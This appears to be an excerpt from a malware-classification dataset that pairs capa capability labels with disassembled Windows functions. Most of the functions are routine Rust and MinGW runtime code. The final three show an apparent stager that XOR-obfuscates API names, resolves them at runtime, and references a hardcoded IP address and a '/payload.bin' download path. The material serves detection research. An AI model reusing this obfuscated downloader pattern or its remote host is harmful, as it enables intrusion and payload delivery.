joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005aa80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
mov ecx, dword [0x14009d0d8]
test ecx, ecx
je 0x14005aaaf
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x14005aac8
cmp byte [rax + 8], 0
je 0x14005aac8
add rax, 9
jmp 0x14005ab70
lea rcx, dbg.destroy_value_u8_
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jae 0x14005aaa0
mov ecx, dword [0x14009d0d8]
test ecx, ecx
je 0x14005ab51
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x14005ab6e
mov rdi, rax
test rax, rax
jne 0x14005ab2e
mov rax, qword [0x1400c2618]
movzx eax, byte [rax]
mov ecx, 0x10
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14005ab87
mov rdi, rax
lea rax, dbg.destroy_value_u8_
mov qword [rdi], rax
mov byte [rdi + 8], 0
mov ecx, dword [0x14009d0d8]
test ecx, ecx
je 0x14005ab77
dec ecx
mov rdx, rdi
call fcn.14009a40c
xor ecx, ecx
test rsi, rsi
je 0x14005ab44
cmp byte [rsi], 0
mov byte [rsi], 0
movzx eax, byte [rsi + 1]
cmove eax, ecx
mov ecx, eax
lea rax, [rdi + 9]
mov byte [rdi + 8], 1
mov byte [rdi + 9], cl
jmp 0x14005ab70
lea rcx, dbg.destroy_value_u8_
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jne 0x14005aae3
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
lea rcx, dbg.destroy_value_u8_
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
jmp 0x14005ab26
mov ecx, 8
mov edx, 0x10
call dbg.handle_alloc_error
int3
Function at 0x14005aba0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
mov ecx, dword [0x14009d0f8]
test ecx, ecx
je 0x14005abcf
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x14005abe8
cmp byte [rax + 8], 0
je 0x14005abe8
add rax, 9
jmp 0x14005ac90
lea rcx, dbg.destroy_value_u8_
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jae 0x14005abc0
mov ecx, dword [0x14009d0f8]
test ecx, ecx
je 0x14005ac71
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x14005ac8e
mov rdi, rax
test rax, rax
jne 0x14005ac4e
mov rax, qword [0x1400c2618]
movzx eax, byte [rax]
mov ecx, 0x10
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14005aca7
mov rdi, rax
lea rax, dbg.destroy_value_u8_
mov qword [rdi], rax
mov byte [rdi + 8], 0
mov ecx, dword [0x14009d0f8]
test ecx, ecx
je 0x14005ac97
dec ecx
mov rdx, rdi
call fcn.14009a40c
xor ecx, ecx
test rsi, rsi
je 0x14005ac64
cmp byte [rsi], 0
mov byte [rsi], 0
movzx eax, byte [rsi + 1]
cmove eax, ecx
mov ecx, eax
lea rax, [rdi + 9]
mov byte [rdi + 8], 1
mov byte [rdi + 9], cl
jmp 0x14005ac90
lea rcx, dbg.destroy_value_u8_
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jne 0x14005ac03
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
lea rcx, dbg.destroy_value_u8_
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
jmp 0x14005ac46
mov ecx, 8
mov edx, 0x10
call dbg.handle_alloc_error
int3
Function at 0x14005acc0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov rsi, rcx
mov ecx, dword [0x14009d118]
test ecx, ecx
je 0x14005adbc
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x14005acf2
mov rdi, rax
cmp qword [rax + 8], 0
jne 0x14005adb6
mov ecx, dword [0x14009d118]
test ecx, ecx
je 0x14005ade5
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x14005ae02
mov rdi, rax
test rax, rax
jne 0x14005ad68
mov rax, qword [0x1400c2618]
movzx eax, byte [rax]
mov ecx, 0x18
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14005ae21
mov rdi, rax
lea rax, dbg.destroy_value_core::cell::Cell_core::option::Option_std::sync::mpmc::context::Context___
mov qword [rdi], rax
mov qword [rdi + 8], 0
mov ecx, dword [0x14009d118]
test ecx, ecx
je 0x14005ae0e
dec ecx
mov rdx, rdi
call fcn.14009a40c
test rsi, rsi
je 0x14005adde
mov rax, qword [rsi + 8]
cmp qword [rsi], 0
mov qword [rsi], 0
je 0x14005adde
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
mov qword [rdi + 8], 1
mov qword [rdi + 0x10], rax
test rdx, rdx
je 0x14005adb6
test rcx, rcx
je 0x14005adb6
lock dec qword [rcx]
jne 0x14005adb6
lea rcx, [rsp + 0x30]
call dbg.drop_slow<std::sync::mpmc::context::Inner, alloc::alloc::Global>
add rdi, 0x10
jmp 0x14005ae04
lea rcx, dbg.destroy_value_core::cell::Cell_core::option::Option_std::sync::mpmc::context::Context___
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jae 0x14005ace4
jmp 0x14005acf2
call sym.std::sync::mpmc::context::Context::new::ha223b89a47f34037
jmp 0x14005ad7e
lea rcx, dbg.destroy_value_core::cell::Cell_core::option::Option_std::sync::mpmc::context::Context___
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jne 0x14005ad11
xor edi, edi
mov rax, rdi
add rsp, 0x38
pop rdi
pop rsi
ret
lea rcx, dbg.destroy_value_core::cell::Cell_core::option::Option_std::sync::mpmc::context::Context___
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
jmp 0x14005ad60
mov ecx, 8
mov edx, 0x18
call dbg.handle_alloc_error
int3
Function at 0x14005ae40
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov rsi, rcx
mov ecx, dword [0x14009d138]
test ecx, ecx
je 0x14005af42
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x14005ae72
mov rdi, rax
cmp qword [rax + 8], 0
jne 0x14005af3c
mov ecx, dword [0x14009d138]
test ecx, ecx
je 0x14005af64
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x14005af81
mov rdi, rax
test rax, rax
jne 0x14005aee8
mov rax, qword [0x1400c2618]
movzx eax, byte [rax]
mov ecx, 0x18
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14005afa0
mov rdi, rax
lea rax, dbg.destroy_value_core::cell::Cell_core::option::Option_alloc::sync::Arc_std::sync::mutex::Mutex_alloc::vec::Vec_u8__alloc::alloc::Global____alloc::alloc::Global____
mov qword [rdi], rax
mov qword [rdi + 8], 0
mov ecx, dword [0x14009d138]
test ecx, ecx
je 0x14005af8d
dec ecx
mov rdx, rdi
call fcn.14009a40c
test rsi, rsi
je 0x14005af02
mov rax, qword [rsi]
mov qword [rsi], 0
test rax, rax
je 0x14005af04
mov rax, qword [rsi + 8]
jmp 0x14005af04
xor eax, eax
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
mov qword [rdi + 8], 1
mov qword [rdi + 0x10], rax
test rdx, rdx
je 0x14005af3c
test rcx, rcx
je 0x14005af3c
lock dec qword [rcx]
jne 0x14005af3c
lea rcx, [rsp + 0x30]
call dbg.drop_slow<std::sync::mutex::Mutex<alloc::vec::Vec<u8, alloc::alloc::Global>>, alloc::alloc::Global>
add rdi, 0x10
jmp 0x14005af83
lea rcx, dbg.destroy_value_core::cell::Cell_core::option::Option_alloc::sync::Arc_std::sync::mutex::Mutex_alloc::vec::Vec_u8__alloc::alloc::Global____alloc::alloc::Global____
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jae 0x14005ae64
jmp 0x14005ae72
lea rcx, dbg.destroy_value_core::cell::Cell_core::option::Option_alloc::sync::Arc_std::sync::mutex::Mutex_alloc::vec::Vec_u8__alloc::alloc::Global____alloc::alloc::Global____
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jne 0x14005ae91
xor edi, edi
mov rax, rdi
add rsp, 0x38
pop rdi
pop rsi
ret
lea rcx, dbg.destroy_value_core::cell::Cell_core::option::Option_alloc::sync::Arc_std::sync::mutex::Mutex_alloc::vec::Vec_u8__alloc::alloc::Global____alloc::alloc::Global____
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
jmp 0x14005aee0
mov ecx, 8
mov edx, 0x18
call dbg.handle_alloc_error
int3
Function at 0x14005afb0
Capabilities:
Generate random numbers via winapi
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov rsi, rcx
mov ecx, dword [0x14009d158]
test ecx, ecx
je 0x14005afe3
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x14005affc
mov rcx, rax
cmp qword [rax + 8], 0
je 0x14005affc
add rcx, 0x10
jmp 0x14005b0f9
lea rcx, dbg.destroy_value_core::cell::Cell__usize__bool___
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jae 0x14005afd0
mov ecx, dword [0x14009d158]
test ecx, ecx
je 0x14005b0da
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x14005b0f7
mov rdi, rax
test rax, rax
jne 0x14005b072
mov rax, qword [0x1400c2618]
movzx eax, byte [rax]
mov ecx, 0x20
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14005b116
mov rdi, rax
lea rax, dbg.destroy_value_core::cell::Cell__usize__bool___
mov qword [rdi], rax
mov qword [rdi + 8], 0
mov ecx, dword [0x14009d158]
test ecx, ecx
je 0x14005b103
dec ecx
mov rdx, rdi
call fcn.14009a40c
test rsi, rsi
je 0x14005b08f
mov rcx, qword [rsi]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
mov qword [rsi], 0
cmp rcx, 1
je 0x14005b0c4
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x14005b0bf
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x14005b0c4
call dbg.fallback_rng
mov qword [rdi + 8], 1
lea rcx, [rdi + 0x10]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rdx
jmp 0x14005b0f9
lea rcx, dbg.destroy_value_core::cell::Cell__usize__bool___
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jne 0x14005b01b
xor ecx, ecx
mov rax, rcx
add rsp, 0x38
pop rdi
pop rsi
ret
lea rcx, dbg.destroy_value_core::cell::Cell__usize__bool___
call sym.std::sys::windows::thread_local_key::StaticKey::init::h6a94beccf240c3a3
mov ecx, eax
jmp 0x14005b06a
mov ecx, 8
mov edx, 0x20
call dbg.handle_alloc_error
int3
Function at 0x14008f6d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14008f74a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14008f740
cmp r11, r10
ja 0x14008f7e1
cmp r10, rdx
ja 0x14008f7f3
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14008f742
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14008f720
jmp 0x14008f7b7
ja 0x14008f74a
mov r11, r10
cmp rax, r8
jne 0x14008f6f2
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14008f7bb
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14008f790
mov r8, r10
sub ecx, r9d
jns 0x14008f7ae
jmp 0x14008f7bd
cmp r10, rdx
je 0x14008f7c9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14008f7bd
xor al, 1
cmp r8, rdx
jne 0x14008f770
jmp 0x14008f7bd
xor eax, eax
jmp 0x14008f7bd
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x1400b5821]
lea r8, [0x1400b7670]
mov edx, 0x2b
call dbg.panic
lea r8, str.Ev_v_
mov rcx, r11
mov rdx, r10
call dbg.slice_index_order_fail
lea r8, str.Ev_v_
mov rcx, r10
call dbg.slice_end_index_len_fail
int3
Function at 0x14009b200
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x14009b270
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400d0254]
mov rbx, rcx
test esi, esi
jle 0x14009b3a0
mov rax, qword [0x1400d0258]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14009b2bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14009b345
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14009b2a0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x14009b3c2
mov rax, qword [0x1400d0258]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400d0258]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14009b3a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14009b33e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14009b350
add dword [0x1400d0254], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400d0258]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14009b33e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x14009b2c8
mov rax, qword [0x1400d0258]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14009b930
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400d02c0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400d02a0]
test rbx, rbx
je 0x14009b98c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14009b983
test rsi, rsi
je 0x14009b983
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14009b968
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14009bba0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14009bbb8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14009bbc0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14009bbd0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14009bc1d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x14009bc14
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14009bc1f
add rax, 0x28
cmp rax, r9
jne 0x14009bc00
xor eax, eax
ret

Function at 0x14009bc20
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x14009bcb0
mov rdx, qword [0x1400c2550]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14009bc9e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14009bc9e
cmp word [rax + 0x18], 0x20b
jne 0x14009bc9e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x14009bcb0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x14009bc89
add rbx, 0x28
cmp rbx, rdi
je 0x14009bcb0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x14009bc80
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x14009bcc0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c2550]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14009bce0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14009bce8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14009bce0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14009bd3d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14009bd34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14009bce0
add rax, 0x28
cmp rax, r9
jne 0x14009bd20
xor eax, eax
ret

Function at 0x14009bd40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c2550]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14009bd5f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14009bd68
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14009bd5f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x14009bd80
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400c2550]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x14009bda0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x14009bda8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x14009bda0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x14009bdf0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14009bde7
test rcx, rcx
je 0x14009bda0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x14009bdd8
xor eax, eax
ret

Function at 0x14009be00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c2550]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14009be1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14009be28
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x14009be40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c2550]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14009be60
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14009be68
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14009be60
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x14009be60
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14009beb4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14009bec0
add rdx, 0x28
cmp r9, rdx
jne 0x14009bea0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x14009bed0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400c2550]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x14009bef2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x14009bf00
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14009bef2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x14009bef2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x14009bef2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14009bf55
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x14009bf68
add rdx, 0x28
cmp rdx, r10
jne 0x14009bf40
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14009bf77
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14009bf87
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14009bf5e
test ecx, ecx
jg 0x14009bf70
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001010
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov dword [rsp + 0x30], 0x1e2d013f
mov dword [rsp + 0x34], 0xc181c04
mov dword [rsp + 0x38], 0x61526
lea rdx, [rsp + 0x30]
lea r9, str.hhCVp
lea r8d, [rbx + 0xb]
mov ecx, ebx
cmp word [r9 + rcx*2], bx
cmove rcx, rbx
inc rdx
movzx eax, byte [r9 + rcx*2]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001051
mov rcx, qword [0x1402134b8]
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call rax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140152920
add rsp, 0x50
pop rbx
ret

Function at 0x1400010b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1402134c0]
xor ecx, ecx
mov dword [rsp + 0x20], 0x2306052e
mov dword [rsp + 0x24], 0x2b1c0d1e
mov dword [rsp + 0x28], 0x9170404
mov word [rsp + 0x2c], 0x1f0b
lea r9d, [rcx + 0xe]
mov byte [rsp + 0x2e], 0
mov edx, ecx
lea r8, [rsp + 0x20]
lea r10, str.ylhkj
cmp word [r10 + rdx*2], cx
cmove rdx, rcx
inc r8
movzx eax, byte [r10 + rdx*2]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x140001104
mov rcx, qword [0x1402134b8]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.216.83.59.248
mov r8d, 0x118
xor r9d, r9d
mov rcx, rbx
call rax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140152920
add rsp, 0x40
pop rbx
ret

Function at 0x140001160
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, qword [0x1402134c8]
mov eax, 0x47
xor edi, edi
mov word [rbp - 0x18], ax
mov eax, 0x45
mov dword [rbp - 0x30], 0xf212e10
mov dword [rbp - 0x2c], 0x37331d
mov dword [rbp - 0x28], 0x15290c37
mov dword [rbp - 0x24], 0x221c362a
lea r9d, [rax - 0x33]
mov word [rbp - 0x20], 0x3b34
mov byte [rbp - 0x1e], 0
mov word [rbp - 0x16], ax
mov dword [rbp - 0x14], 0x54
mov edx, edi
lea r8, [rbp - 0x30]
lea rcx, str.GGOGi
nop dword [rax]
cmp word [rcx + rdx*2], di
cmove rdx, rdi
inc r8
movzx eax, byte [rcx + rdx*2]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400011e0
mov rcx, qword [0x1402134b8]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x30], edi
lea r8, str._payload.bin
lea rdx, [rbp - 0x18]
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140152920
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret